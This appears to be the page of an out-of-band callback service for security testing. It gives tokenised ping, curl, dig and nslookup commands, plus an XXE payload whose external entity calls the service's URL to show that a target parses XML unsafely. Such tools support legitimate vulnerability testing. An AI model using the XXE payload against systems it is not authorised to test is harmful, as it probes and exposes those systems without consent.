$ ping -c1 -p 00e6f3a042f2b1ccaa8c019f121a0600 pingb.in
 
$ curl pingb.in/p/e6f3a042f2b1ccaa8c019f121a06
 
$ dig e6f3a042f2b1ccaa8c019f121a06 @pingb.in
 
$ dig e6f3a042f2b1ccaa8c019f121a06.ns.pingb.in
 
C:\> nslookup e6f3a042f2b1ccaa8c019f121a06 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/e6f3a042f2b1ccaa8c019f121a06">]>
    <foo>&xxe;</foo>
 
Waiting for ping...